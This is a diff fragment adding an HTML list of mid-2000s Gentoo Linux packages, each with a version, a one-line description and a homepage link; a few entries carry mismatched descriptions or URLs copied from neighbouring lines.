+<br/>XviD, a high performance/quality MPEG-4 video de-/encoding solution. [ http://www.xvid.org/ ]</li><li>
+media-libs/id3lib-3.8.3-r1
+<br/>Id3 library for C/C++ [ http://id3lib.sourceforge.net/ ]</li><li>
+media-libs/t1lib-1.3.1
+<br/>A Type 1 Font Rasterizer Library for UNIX/X11 [ ftp://metalab.unc.edu/pub/Linux/libs/graphics ]</li><li>
+media-libs/imlib2-1.1.0
+<br/>Version 2 of an advanced replacement library for libraries like libXpm [ http://www.enlightenment.org/pages/imlib2.html ]</li><li>
+x11-base/opengl-update-1.5
+<br/>Utility to change the OpenGL interface being used. [ http://www.gentoo.org/ ]</li><li>
+x11-base/xfree-4.3.0-r5
+<br/>XFree86: free X server [ http://www.xfree.org ]</li><li>
+x11-misc/xeasyconf-0.1.5
+<br/>Xeasyconf is a PPC only tool to assist in xfree 4.x configs [ http://gentoo.macdiscussion.com/xeasyconf/ ]</li><li>
+x11-misc/ttmkfdir-3.0.4
+<br/>A utility to create a fonts.scale file from a set of TrueType fonts [ http://www.joerg-pommnitz.de/TrueType/xfsft.html ]</li><li>
+x11-misc/commonbox-utils-0.4
+<br/>Common utilities for fluxbox, blackbox, and openbox [ http://mkeadle.org/ ]</li><li>
+dev-util/pkgconfig-0.15.0
+<br/>Package Config system that manages compile/link flags for libraries [ http://www.freedesktop.org/software/pkgconfig/ ]</li><li>
+dev-util/yacc-1.9.1-r2
+<br/>Yacc [ http://dinosaur.compilertools.net/#yacc ]</li><li>
+dev-util/intltool-0.29
+<br/>Scripts for extracting translatable strings from various sourcefiles [ http://www.gnome.org/ ]</li><li>
+dev-util/indent-2.2.9
+<br/>Indent program source files [ http://www.gnu.org/software/indent/indent.html ]</li><li>
+dev-util/kdbg-1.2.5.3
+<br/>A Graphical Debugger Interface to gdb [ http://members.nextra.at/johsixt/kdbg.html ]</li><li>
+dev-util/ccache-2.2
+<br/>ccache is a fast compiler cache. It is used as a front end to your
+compiler to safely cache compilation output. When the same code is compiled
+again the cached output is used giving a significant speedup. [ http://ccache.samba.org/ ]</li><li>
+dev-util/cvs-1.11.14
+<br/>Concurrent Versions System - source code revision control tools [ http://www.cvshome.org/ ]</li><li>
+dev-util/kdoc-2.0_alpha54
+<br/>KDE/QT documentation processing/generation tools [ http://www.ph.unimelb.edu.au/~ssk/kde/kdoc/ ]</li><li>
+dev-util/dialog-0.9_beta20030308-r1
+<br/>A Tool to display Dialog boxes from Shell [ http://hightek.org/dialog/ ]</li><li>
+dev-util/ctags-5.2.3
+<br/>Ctags generates an index (or tag) file of C language objects found in C source and header files that allows these items to be quickly and easily located by a text editor or other utility. Currently supports 22 programming languages. [ http://ctags.sourceforge.net ]</li><li>
+dev-util/kdevelop-2.1.5
+<br/>KDevelop  [ http://www.kdevelop.org/ ]</li><li>
+net-www/lynx-2.8.4.1d-r1
+<br/>An excellent console-based web browser with ssl support [ http://lynx.browser.org/ ]</li><li>
+net-www/apache-2.0.49
+<br/>Apache Web Server, Version 2.0.x [ http://www.apache.org/ ]</li><li>
+net-www/mozilla-1.6-r1
+<br/>The Mozilla Web Browser [ http://www.mozilla.org ]</li><li>
+net-www/epiphany-1.0.7
+<br/>GNOME webbrowser based on the mozilla rendering engine [ http://epiphany.mozdev.org/ ]</li><li>
+net-www/htdig-3.1.6-r4
+<br/>HTTP/HTML indexing and searching system [ http://www.htdig.org ]</li><li>
+net-www/links-2.1_pre9
+<br/>links is a fast lightweight text tand graphic web-browser [ http://atrey.karlin.mff.cuni.cz/~clock/twibright/links/ ]</li><li>
+x11-themes/commonbox-styles-0.6
+<br/>Common styles for fluxbox, blackbox, and openbox. [ http://gentoo.mkeadle.org/ ]</li><li>
+x11-themes/gnome-icon-theme-1.0.9
+<br/>Gnome2 default icon themes [ http://www.gnome.org/ ]</li><li>
+x11-themes/gtk-engines-2.2.0
+<br/>GTK+1 and GTK+2 Theme Engines from GNOME including Pixmap, Metal, Raleigh, Redmond95, Raleigh and Notif [  ]</li><li>
+x11-themes/gtk-engines-thinice-2.0.2
+<br/>Thinice theme engine for GTK+ [ http://thinice.sourceforge.net/ ]</li><li>
+x11-themes/gnome-themes-2.4.1
+<br/>A set of gnome2 themes, with sets for users with limited or low vision [ http://www.gnome.org/softwaremap/projects/gnome-themes ]</li><li>
+x11-themes/gtk-engines-xfce-2.1.1
+<br/>GTK+ engine developed for the XFce Desktop Environment [ http://www.xfce.org/ ]</li><li>
+x11-wm/enlightenment-0.16.6
+<br/>Enlightenment Window Manager [ http://www.enlightenment.org/ ]</li><li>
+x11-wm/blackbox-0.65.0-r3
+<br/>A small, fast, full-featured window manager for X - with mousewheel patch [ http://blackboxwm.sf.net/ ]</li><li>
+x11-wm/fluxbox-0.9.8-r1
+<br/>Fluxbox is a lightweight windowmanager for X featuring tabs. [ http://www.fluxbox.org ]</li><li>
+x11-wm/metacity-2.6.3
+<br/>Gnome default windowmanager [ http://www.gnome.org/ ]</li><li>
+x11-wm/openbox-3.0-r1
+<br/>Openbox is a standards compliant, fast, light-weight, extensible window manager. [ http://icculus.org/openbox/ ]</li><li>
+x11-wm/waimea-0.4.0
+<br/>Window manager based on BlackBox [ http://www.waimea.org/ ]</li><li>
+app-cdr/cdrdao-1.1.8
+<br/>Burn CDs in disk-at-once mode -- with optional GUI frontend [ http://cdrdao.sourceforge.net/ ]</li><li>
+app-cdr/cdrtools-2.01_alpha25
+<br/>A set of tools for CDR drives, including cdrecord. [ http://www.fokus.gmd.de/research/cc/glone/employees/joerg.schilling/private/cdrecord.html ]</li><li>
+app-cdr/xcdroast-0.98_alpha15-r3
+<br/>Menu based front-end to mkisofs and cdrecord [ http://www.xcdroast.org/ ]</li><li>
+x11-libs/gtkglarea-1.2.3-r1
+<br/>GL Extentions for gtk+ [ http://www.student.oulu.fi/~jlof/gtkglarea/ ]</li><li>
+x11-libs/gtk+-1.2.10-r10
+<br/>The GIMP Toolkit [ http://www.gtk.org/ ]</li><li>
+x11-libs/pango-1.2.5-r1
+<br/>Text rendering and layout library [ http://www.pango.org/ ]</li><li>
+x11-libs/gtk+-2.2.4-r1
+<br/>Gimp ToolKit + [ http://www.gtk.org/ ]</li><li>
+x11-libs/gtksourceview-0.7.0-r1
+<br/>GTK text widget with syntax highlighting and other features typical for a source editor [ http://www.gnome.org/ ]</li><li>
+x11-libs/startup-notification-0.5
+<br/>Application startup notification and feedback library [ http://www.freedesktop.org/software/startup-notification/ ]</li><li>
+x11-libs/openmotif-2.1.30-r4
+<br/>Open Motif (Metrolink Bug Fix Release) [ http://www.metrolink.com/openmotif/ ]</li><li>
+x11-libs/libwnck-2.4.0.1-r1
+<br/>A window navigation construction kit [ http://www.gnome.org/ ]</li><li>
+x11-libs/gtkglarea-1.99.0
+<br/>GL extensions for gtk+ [ http://www.gnome.org/ ]</li><li>
+x11-libs/vte-0.11.10
+<br/>Xft powered terminal widget [ http://www.gnome.org/ ]</li><li>
+x11-libs/qt-3.2.3-r1
+<br/>QT version  [ http://www.trolltech.com/ ]</li><li>
+media-sound/cdparanoia-3.9.8
+<br/>an advanced CDDA reader with error correction [ http://www.xiph.org/paranoia/ ]</li><li>
+media-sound/lame-3.93.1-r1
+<br/>LAME Ain't an Mp3 Encoder [ http://www.mp3dev.org/mp3/ ]</li><li>
+media-sound/esound-0.2.32
+<br/>The Enlightened Sound Daemon [ http://www.tux.org/~ricdude/EsounD.html ]</li><li>
+media-sound/vorbis-tools-1.0-r2
+<br/>tools for using the Ogg Vorbis sound file format [ http://www.xiph.org/ogg/vorbis/index.html ]</li><li>
+media-sound/mpg123-0.59s-r3
+<br/>Real Time mp3 player [ http://www.mpg123.de/ ]</li><li>
+media-sound/xmms-1.2.10-r1
+<br/>X MultiMedia System [ http://www.xmms.org/ ]</li><li>
+gnome-base/libbonobo-2.4.3
+<br/>GNOME CORBA framework  [ http://www.gnome.org/ ]</li><li>
+gnome-base/ORBit2-2.8.3
+<br/>ORBit2 is a high-performance CORBA ORB [ http://www.gnome.org/ ]</li><li>
+gnome-base/gconf-2.4.0.1
+<br/>Gnome Configuration System and Daemon [ http://www.gnome.org/ ]</li><li>
+gnome-base/libgnomecanvas-2.4.0
+<br/>the Gnome 2 Canvas library [ http://www.gnome.org/ ]</li><li>
+gnome-base/libgnome-2.4.0
+<br/>Essential Gnome Libraries [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-mime-data-2.4.1
+<br/>MIME data for Gnome [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-vfs-2.4.2-r1
+<br/>Gnome Virtual Filesystem [ http://www.gnome.org/ ]</li><li>
+gnome-base/libglade-2.0.1
+<br/>GLADE is a interface builder [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-desktop-2.4.1.1
+<br/>Libraries for the gnome desktop that is not part of the UI [ http://www.gnome.org/ ]</li><li>
+gnome-base/gail-1.4.1
+<br/>Part of Gnome Accessibility [ http://www.gnome.org/ ]</li><li>
+gnome-base/libbonoboui-2.4.3
+<br/>User Interface part of libbonobo [ http://www.gnome.org/ ]</li><li>
+gnome-base/libgnomeui-2.4.0.1
+<br/>User Interface routines for Gnome [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-libs-1.4.1.7
+<br/>GNOME Core Libraries [ http://www.gnome.org/ ]</li><li>
+gnome-base/ORBit-0.5.17
+<br/>A high-performance, lightweight CORBA ORB aiming for CORBA 2.2 compliance [ http://www.labs.redhat.com/orbit/ ]</li><li>
+gnome-base/libgnomeprint-2.4.2
+<br/>Printer handling for Gnome [ http://www.gnome.org/ ]</li><li>
+gnome-base/libgnomeprintui-2.4.2
+<br/>user interface libraries for gnome print [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-print-0.35-r3
+<br/>GNOME printing library [ http://www.gnome.org/ ]</li><li>
+gnome-base/librsvg-2.4.0-r1
+<br/>SVG rendering library [ http://librsvg.sourceforge.net/ ]</li><li>
+gnome-base/libglade-0.17-r6
+<br/>libglade allows programs to load their UIs from an XMLS description at tuntime. [ http://developer.gnome.org/doc/API/libglade/libglade.html ]</li><li>
+gnome-base/gconf-1.0.8-r3
+<br/>Gconf [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-vfs-1.0.5-r3
+<br/>GNOME Virtual File System. [ http://www.gnome.org/ ]</li><li>
+gnome-base/nautilus-2.4.2
+<br/>A filemanager for the Gnome2 desktop [ http://www.gnome.org/projects/nautilus/ ]</li><li>
+gnome-base/eel-2.4.2
+<br/>EEL is the Eazel Extentions Library [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-applets-2.4.2
+<br/>Applets for the Gnome2 Desktop and Panel [ http://www.gnome.org/ ]</li><li>
+gnome-base/gdm-2.4.1.7-r1
+<br/>GNOME2 Display Manager [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-panel-2.4.2
+<br/>The Panel for Gnome2 [ http://www.gnome.org/ ]</li><li>
+gnome-base/libgtop-2.0.8
+<br/>A library that proivdes top functionality to applications [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-2.4.2
+<br/>Meta package for the GNOME desktop. [ http://www.gnome.org/ ]</li><li>
+gnome-base/gnome-session-2.4.2
+<br/>Gnome session manager [ http://www.gnome.org/ ]</li><li>
+gnome-base/control-center-2.4.0
+<br/>the gnome2 Desktop configuration tool [ http://www.gnome.org/ ]</li><li>
+dev-cpp/gconfmm-2.0.1
+<br/>C++ bindings for GConf [ http://gtkmm.sourceforge.net/ ]</li><li>
+dev-cpp/gtkmm-2.2.8
+<br/>C++ interface for GTK+2 [ http://gtkmm.sourceforge.net/ ]</li><li>
+dev-cpp/libgnomecanvasmm-2.0.1
+<br/>C++ bindings for libgnomecanvasmm [ http://gtkmm.sourceforge.net/ ]</li><li>
+dev-cpp/libgnomemm-2.0.1
+<br/>C++ bindings for libgnome [ http://gtkmm.sourceforge.net/ ]</li><li>
+dev-cpp/libglademm-2.0.1
+<br/>C++ bindings for libglade [ http://gtkmm.sourceforge.net/ ]</li><li>
+dev-cpp/libgnomeuimm-2.0.0
+<br/>C++ bindings for libgnomeui [ http://gtkmm.sourceforge.net/ ]</li><li>
+dev-cpp/gtkmm-1.2.9-r2
+<br/>C++ interface for GTK+ [ http://gtkmm.sourceforge.net/ ]</li><li>
+dev-cpp/gnomemm-1.2.3-r1
+<br/>C++ binding for the GNOME libraries [ http://gtkmm.sourceforge.net/ ]</li><li>
+net-nds/portmap-5b-r7
+<br/>Netkit - portmapper [ ftp://ftp.porcupine.org/pub/security/index.html ]</li><li>
+app-admin/fam-2.7.0
+<br/>FAM, the File Alteration Monitor [ http://oss.sgi.com/projects/fam/ ]</li><li>
+app-admin/logrotate-3.6.5-r1
+<br/>Rotates, compresses, and mails system logs [ http://packages.debian.org/unstable/admin/logrotate.html ]</li><li>
+app-admin/chkrootkit-0.37
+<br/>a tool to locally check for signs of a rootkit [ http://www.chkrootkit.org/ ]</li><li>
+app-admin/superadduser-1.0.5
+<br/>Interactive adduser script [ http://www.gentoo.org/ ]</li><li>
+app-admin/metalog-0.7-r1
+<br/>A highly configurable replacement for syslogd/klogd [ http://metalog.sourceforge.net/ ]</li><li>
+app-admin/passook-1.0.0
+<br/>Password generator capable of generating pronounceable and/or secure passwords. [ http://mackers.com/misc/scripts/passook/ ]</li><li>
+app-admin/addpatches-0.2
+<br/>patch management script [ http://www.gentoo.org ]</li><li>
+app-admin/syslog-ng-1.6.0_rc3-r1
+<br/>syslog replacement with advanced filtering features [ http://www.balabit.com/products/syslog_ng/ ]</li><li>
+app-admin/sysklogd-1.4.1-r10
+<br/>Standard log daemons [ http://www.infodrom.org/projects/sysklogd/ ]</li><li>
+net-print/cups-1.1.19-r1
+<br/>The Common Unix Printing System [ http://www.cups.org ]</li><li>
+net-print/gnome-cups-manager-0.17
+<br/>GNOME CUPS Printer Management Interface [ http://www.gnome.org/ ]</li><li>
+net-print/libgnomecups-0.1.6
+<br/>GNOME cups library [ http://www.gnome.org ]</li><li>
+dev-ruby/ruby-config-0.2
+<br/>Utility to switch the ruby interpreter beging used [ http://www.gentoo.org/ ]</li><li>
+net-analyzer/tcpdump-3.8.3-r1
+<br/>A Tool for network monitoring and data acquisition [ http://www.tcpdump.org/ ]</li><li>
+net-analyzer/ettercap-0.6.11
+<br/>multipurpose sniffer/interceptor/logger for switched LAN [ http://ettercap.sourceforge.net/ ]</li><li>
+net-analyzer/netselect-0.3
+<br/>Ultrafast implementation of ping. [ http://www.worldvisions.ca/~apenwarr/netselect/ ]</li><li>
+net-analyzer/netcat-110-r5
+<br/>A network piping program [ http://www.atstake.com/research/tools/network_utilities/ ]</li><li>
+net-analyzer/nmap-3.48
+<br/>utility for network exploration or security auditing [ http://www.insecure.org/nmap/ ]</li><li>
+net-libs/libsoup-1.99.26-r1
+<br/>Soup is a SOAP implementation [ http://www.gnome.org/ ]</li><li>
+net-libs/libwww-5.4.0-r2
+<br/>A general-purpose client side WEB API [ http://www.w3.org/Library/ ]</li><li>
+net-libs/libpcap-0.8.3-r1
+<br/>pcap-Library [ http://www.tcpdump.org/ ]</li><li>
+app-text/sgmltools-lite-3.0.3-r6
+<br/>Python interface to SGML software specificially in a
+DocBook/OpenJade environment.  Provides sgml2{html,txt,rtf,dvi,ps} [ http://sgmltools-lite.sourceforge.net/ ]</li><li>
+app-text/ggv-2.4.1
+<br/>The GNOME PostScript document viewer [ http://www.gnome.org/ ]</li><li>
+app-text/docbook-dsssl-stylesheets-1.77-r2
+<br/>DSSSL Stylesheets for DocBook. [ http://www.sourceforge.net/docbook/ ]</li><li>
+app-text/docbook-sgml-dtd-3.0-r1
+<br/>Docbook SGML DTD 3.0 [ http://www.oasis-open.org/docbook/sgml//index.html ]</li><li>
+app-text/sgml-common-0.6.3-r4
+<br/>Base ISO character entities and utilities for SGML [ http://www.iso.ch/cate/3524030.html ]</li><li>
+app-text/openjade-1.3.1-r6
+<br/>Jade is an implemetation of DSSSL - an ISO standard for formatting SGML and XML documents [ http://openjade.sourceforge.net ]</li><li>
+app-text/gpdf-0.112
+<br/>your favourite pdf previewer [ http://www.gnome.org/ ]</li><li>
+app-text/docbook-xml-simple-dtd-4.1.2.4
+<br/>Docbook DTD for XML [ http://www.oasis-open.org/docbook/ ]</li><li>
+app-text/docbook-sgml-dtd-3.1-r1
+<br/>Docbook SGML DTD 3.1 [ http://www.oasis-open.org/docbook/sgml//index.html ]</li><li>
+app-text/docbook-sgml-dtd-4.1-r1
+<br/>Docbook SGML DTD 4.1 [ http://www.oasis-open.org/docbook/sgml//index.html ]</li><li>
+app-text/docbook-xsl-stylesheets-1.62.4
+<br/>XSL Stylesheets for Docbook [ http://www.oasis-open.org/docbook/ ]</li><li>
+app-text/docbook-xml-dtd-4.2
+<br/>Docbook DTD for XML [ http://www.oasis-open.org/docbook/ ]</li><li>
+app-text/docbook-sgml-dtd-4.0-r1
+<br/>Docbook SGML DTD 4.0 [ http://www.oasis-open.org/docbook/sgml//index.html ]</li><li>
+app-text/docbook-sgml-utils-0.6.12
+<br/>Shell scripts to manage DocBook documents [ http://sources.redhat.com/docbook-tools/ ]</li><li>
+app-text/docbook-xml-dtd-4.1.2-r4
+<br/>Docbook DTD for XML [ http://www.oasis-open.org/docbook/ ]</li><li>
+app-text/scrollkeeper-0.3.14
+<br/>ScrollKeeper is a cataloging system for documentation on open systems. [ http://scrollkeeper.sourceforge.net ]</li><li>
+app-text/ghostscript-7.07.1-r1
+<br/>ESP Ghostscript -- an enhanced version of GNU Ghostscript with better printer support [ http://www.cups.org/ghostscript.php ]</li><li>
+app-text/xpdf-2.02.1
+<br/>An X Viewer for PDF Files [ http://www.foolabs.com/xpdf/ ]</li><li>
+app-text/psutils-1.17
+<br/>Post Script Utilities [ http://www.tardis.ed.ac.uk/~ajcd/psutils ]</li><li>
+app-text/a2ps-4.13b-r5
+<br/>Any to PostScript filter [ http://www-inf.enst.fr/~demaille/a2ps/ ]</li><li>
+app-text/tetex-2.0.2-r3
+<br/>a complete TeX distribution [ http://tug.org/teTeX/ ]</li><li>
+app-text/jadetex-3.12
+<br/>TeX macros used by Jade TeX output. [ http://jadetex.sourceforge.net/ ]</li><li>
+app-text/enscript-1.6.3-r1
+<br/>powerful text-to-postsript converter [ http://www.gnu.org/software/enscript/enscript.html ]</li><li>
+app-text/dgs-0.5.10-r1
+<br/>A Ghostscript based DPS server [ http://www.gyve.org/dgs/ ]</li><li>
+gnome-extra/gnome-system-monitor-2.4.0
+<br/>Procman - The Gnome System Monitor [ http://www.gnome.org/ ]</li><li>
+gnome-extra/acme-2.4.2-r1
+<br/>GNOME tool to make use of the multimedia buttons on laptops and internet keyboards [ http://www.hadess.net/misc-code.php3 ]</li><li>
+gnome-extra/gal-1.99.10
+<br/>The Gnome Application Libraries [ http://www.gnome.org/ ]</li><li>
+gnome-extra/yelp-2.4.2
+<br/>Help browser for Gnome [ http://www.gnome.org/ ]</li><li>
+gnome-extra/gal-0.24
+<br/>The Gnome Application Libraries [ http://www.gnome.org/ ]</li><li>
+gnome-extra/libgtkhtml-3.0.9
+<br/>Lightweight HTML Rendering/Printing/Editing Engine [ http://www.gnome.org/ ]</li><li>
+gnome-extra/libgtkhtml-2.4.0
+<br/>a Gtk+ based HTML rendering library [ http://www.gnome.org/ ]</li><li>
+gnome-extra/gnome2-user-docs-2.4.1
+<br/>end user documentation for Gnome2 [ http://www.gnome.org ]</li><li>
+gnome-extra/gnome-utils-2.4.1
+<br/>Utilities for the Gnome2 desktop [ http://www.gnome.org/ ]</li><li>
+gnome-extra/nautilus-media-0.3.3.1
+<br/>Media plugins for Nautilus (audio view and info tab) [ http://www.gstreamer.net ]</li><li>
+gnome-extra/gnome-media-2.4.1.1
+<br/>Multimedia related programs for the Gnome2 desktop [ http://www.prettypeople.org/~iain/gnome-media/ ]</li><li>
+gnome-extra/gnome-games-2.4.2
+<br/>Collection of games for the GNOME desktop [ http://www.gnome.org/ ]</li><li>
+gnome-extra/bug-buddy-2.4.2
+<br/>Bug Report helper for Gnome [ http://www.gnome.org/ ]</li><li>
+gnome-extra/gcalctool-4.3.16
+<br/>A scientific calculator for Gnome2 [ http://calctool.sourceforge.net/ ]</li><li>
+gnome-extra/gucharmap-1.2.0
+<br/>Unicode charachter map viewer [ http://gucharmap.sourceforge.net/ ]</li><li>
+gnome-extra/gconf-editor-2.4.0
+<br/>An editor to the GNOME 2 config system [ http://www.gnome.org/ ]</li><li>
+gnome-extra/zenity-1.8
+<br/>commandline dialog tool for gnome [ http://www.gnome.org/ ]</li><li>
+net-mail/mailbase-0.00-r5
+<br/>MTA layout package [ http://www.gentoo.org/ ]</li><li>
+net-mail/evolution-1.4.5
+<br/>A GNOME groupware application, a Microsoft Outlook workalike [ http://www.ximian.com ]</li><li>
+net-mail/ssmtp-2.48
+<br/>Extremely simple MTA to get mail off the system to a
+Mailhub [ ftp://metalab.unc.edu/pub/Linux/system/mail/mta/ ]</li><li>
+net-im/gabber-0.8.8
+<br/>The GNOME Jabber Client [ http://gabber.sourceforge.net ]</li><li>
+net-im/gaim-0.75-r8
+<br/>GTK Instant Messenger client [ http://gaim.sourceforge.net/ ]</li><li>
+app-portage/genflags-0.96
+<br/>Gentoo CFLAGS generator [ http://www.gentoo.org/ ]</li><li>
+app-portage/ufed-0.34
+<br/>Gentoo Linux USE flags editor [ http://www.gentoo.org ]</li><li>
+app-portage/gentoolkit-0.2.0_pre8
+<br/>Collection of administration scripts for Gentoo [ http://www.gentoo.org/~karltk/projects/gentoolkit/ ]</li><li>
+app-portage/mirrorselect-0.83
+<br/>Tool to help select distfiles mirrors for Gentoo [ http://www.gentoo.org/ ]</li><li>
+media-gfx/gimp-1.2.5
+<br/>The GIMP [ http://www.gimp.org/ ]</li><li>
+media-gfx/eog-2.4.1
+<br/>the Eye Of Gnome - Image Viewer and Cataloger for Gnome2 [ http://www.gnome.org/ ]</li><li>
+media-gfx/imagemagick-5.5.7.15
+<br/>A collection of tools and libraries for many image formats [ http://www.imagemagick.org/ ]</li><li>
+media-gfx/xloadimage-4.1-r1
+<br/>utility to view many different types of images under X11 [ http://world.std.com/~jimf/xloadimage.html ]</li><li>
+x11-terms/gnome-terminal-2.4.2
+<br/>The Gnome Terminal [ http://www.gnome.org/ ]</li><li>
+media-plugins/gst-plugins-vorbis-0.6.4
+<br/>The Gnome Terminal [ http://www.gnome.org/ ]</li><li>
+media-plugins/gst-plugins-oss-0.6.4
+<br/>The Gnome Terminal [ http://www.gnome.org/ ]</li><li>
+media-plugins/gst-plugins-libpng-0.6.4
+<br/>plug-in to encode png images [ http://www.gnome.org/ ]</li><li>
+media-plugins/gst-plugins-gnomevfs-0.6.4
+<br/>plug-in to encode png images [ http://www.gnome.org/ ]</li><li>
+app-laptop/pbbuttonsd-0.5.2-r1
+<br/>PBButtons is a program to map special Powerbook/iBook keys in Linux [ http://www.cymes.de/members/joker/projects/pbbuttons/pbbuttons.html ]</li><li>
+app-laptop/gtkpbbuttons-0.5.2
+<br/>PPC-only program to monitor special Powerbook/iBook keys in Linux [ http://www.cymes.de/members/joker/projects/pbbuttons/pbbuttons.html ]</li><li>
+app-laptop/pmud-0.10.1-r2
+<br/>PowerMac power management utilities [ http://penguinppc.org/ ]</li><li>
+app-laptop/powerprefs-0.3.1
+<br/>powerprefs is a program to interface with pbbuttonsd (Powerbook/iBook) keys in Linux [ http://www.cymes.de/members/joker/projects/pbbuttons/pbbuttons.html ]</li><li>
+net-firewall/iptables-1.2.7a-r3
+<br/>Kernel 2.4 firewall, NAT and packet mangling tools [ http://www.iptables.org/ ]</li><li>
+net-irc/irssi-0.8.6-r6
+<br/>A modular textUI IRC client with IPv6 support. [ http://irssi.org/ ]</li><li>
+net-irc/xchat-2.0.1-r1
+<br/>X-Chat is a graphical IRC client for UNIX operating systems. [ http://www.xchat.org/ ]</li><li>
+kde-base/kdenetwork-3.2.0
+<br/>KDE network apps: kopete, kppp, kget. kmail and knode are now in kdepim. [ http://www.xchat.org/ ]</li><li>
+kde-base/kdebase-3.2.0
+<br/>KDE base packages: the desktop, panel, window manager, konqueror... [ http://www.xchat.org/ ]</li><li>
+kde-base/arts-1.2.0
+<br/>aRts, the KDE sound (and all-around multimedia) server/output manager [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdemultimedia-3.2.0
+<br/>KDE multimedia apps: noatun, kscd, artsbuilder... [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdepim-3.2.0-r2
+<br/>KDE PIM (Personal Information Management) apps: korganizer, kmail, knode... [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdegraphics-3.2.0
+<br/>KDE graphics-related apps [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdeaddons-3.2.0
+<br/>KDE addon modules: plugins for konqueror, noatun etc [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdeaccessibility-3.2.0
+<br/>KDE accessibility module [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdeedu-3.2.0
+<br/>KDE educational apps [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdetoys-3.2.0
+<br/>KDE toys [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdeutils-3.2.0
+<br/>KDE utilities [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdeartwork-3.2.0
+<br/>KDE artwork package [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdeadmin-3.2.0
+<br/>KDE administration tools (user manager, etc.) [ http://multimedia.kde.org/ ]</li><li>
+kde-base/kdelibs-3.2.0
+<br/>KDE libraries needed by all kde programs [ http//www.kde.org/ ]</li><li>
+kde-base/kdegames-3.2.0
+<br/>KDE games (solitaire :-) [ http//www.kde.org/ ]</li><li>
+kde-base/kde-3.2.0
+<br/>KDE 3.2 - merge this to pull in all non-developer kde-base/* packages [ http://www.kde.org/ ]</li><li>
+app-crypt/gnupg-1.2.4
+<br/>The GNU Privacy Guard, a GPL pgp replacement [ http://www.gnupg.org/ ]</li><li>
+app-doc/qt-docs-3.1.2
+<br/>Documentation for the QT  API [ http://www.trolltech.com/ ]</li><li>
+app-doc/kdelibs-apidocs-3.1.4
+<br/>API documentation autogenerated from the kde-base/kdelibs package [ http//developer.kde.org/ ]</li><li>
+app-office/koffice-1.2.1
+<br/>A free, integrated office suite for KDE, the K Desktop Environment. [ http://www.koffice.org/ ]</li><li>
+net-dialup/pptpclient-1.1.0
+<br/>Linux client for PPTP [ http://pptpclient.sourceforge.net/ ]</li><li>
+net-dialup/ppp-2.4.1-r14
+<br/>Point-to-point protocol - patched for pppoe [ http://www.samba.org/ppp ]</li><li>
+net-dialup/pppoed-0.48_beta1-r1
+<br/>PPP over Ethernet [ http://www.davin.ottawa.on.ca/pppoe/ ]</li><li>
+net-dialup/pppconfig-2.0.8
+<br/>A text menu based utility for configuring ppp. [ http://ftp.debian.org/debian/pool/main/p/pppconfig/ ]</li><li>
+net-dialup/kpnadsl4linux-1.10-r1
+<br/>ADSL4Linux, a PPTP start/stop/etc. program especially for Dutch users, for gentoo. [ http://www.adsl4linux.nl/ ]</li><li>
+net-dialup/rp-pppoe-3.5
+<br/>A user-mode PPPoE client and server suite for Linux [ http://www.roaringpenguin.com/ ]</li><li>
+net-fs/nfs-utils-1.0.6
+<br/>NFS client and server daemons [ http://nfs.sourceforge.net/ ]</li><li>
+net-fs/samba-3.0.1-r1
+<br/>SAMBA is a suite of SMB and CIFS client/server programs for UNIX [ http://www.samba.org/
+<br/>http://www.openantivirus.org/projects.php ]</li><li>
+dev-db/postgresql-7.3.6
+<br/>sophisticated Object-Relational DBMS [ http://www.postgresql.org/ ]</li><li>
+app-misc/screen-4.0.1-r2
+<br/>Screen is a full-screen window manager that multiplexes a physical terminal between several processes [ http://www.guckes.net/screen/ http://www.gnu.org/software/screen/ ]</li><li>
+xfce-base/xfprint-4.0.1
+<br/>Printing plugin for XFCE4 [ http://www.xfce.org/ ]</li><li>
+xfce-base/xfwm4-4.0.1
+<br/>Xfce4 windowmanager [ http://www.xfce.org/ ]</li><li>
+xfce-base/libxfce4util-4.0.1
+<br/>Libraries for XFCE4 [ http://www.xfce.org/ ]</li><li>
+xfce-base/libxfcegui4-4.0.1
+<br/>Libraries for XFCE4 [ http://www.xfce.org/ ]</li><li>
+xfce-base/libxfce4mcs-4.0.1
+<br/>Libraries for XFCE4 [ http://www.xfce.org/ ]</li><li>
+xfce-base/xffm-4.0.1
+<br/>Xfce4 file manager [ http://www.xfce.org/ ]</li><li>
+xfce-base/xfce4-4.0.1
+<br/>XFCE4, a lightweight Desktop Environment [ http://www.xfce.org/ ]</li><li>
+xfce-base/xfce-mcs-manager-4.0.1
+<br/>Libraries for XFCE4 [ http://www.xfce.org/ ]</li><li>
+xfce-base/xfce-mcs-plugins-4.0.1
+<br/>Libraries for XFCE4 [ http://www.xfce.org/ ]</li><li>
+xfce-base/xfce4-panel-4.0.1
+<br/>Xfce4 panel [ http://www.xfce.org/ ]</li><li>
+xfce-base/xfdesktop-4.0.1
+<br/>Xfce4 desktop [ http://www.xfce.org/ ]</li><li>
+xfce-base/xfce-utils-4.0.1
+<br/>Xfce4 utilities [ http://www.xfce.org/ ]</li><li>
+xfce-base/xfce4-base-4.0.1
+<br/>XFCE4, a lightweight Desktop Environment [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-systemload-0.3.2
+<br/>Xfce system load monitor [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-minicmd-0.2.0
+<br/>Xfce4 panel command line plugin [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-trigger-launcher-4.0.1
+<br/>Xfce trigger launcher [ http://www.xfce.org/ ]</li><li>
+xfce-extra/xfce4-netload-0.2.2
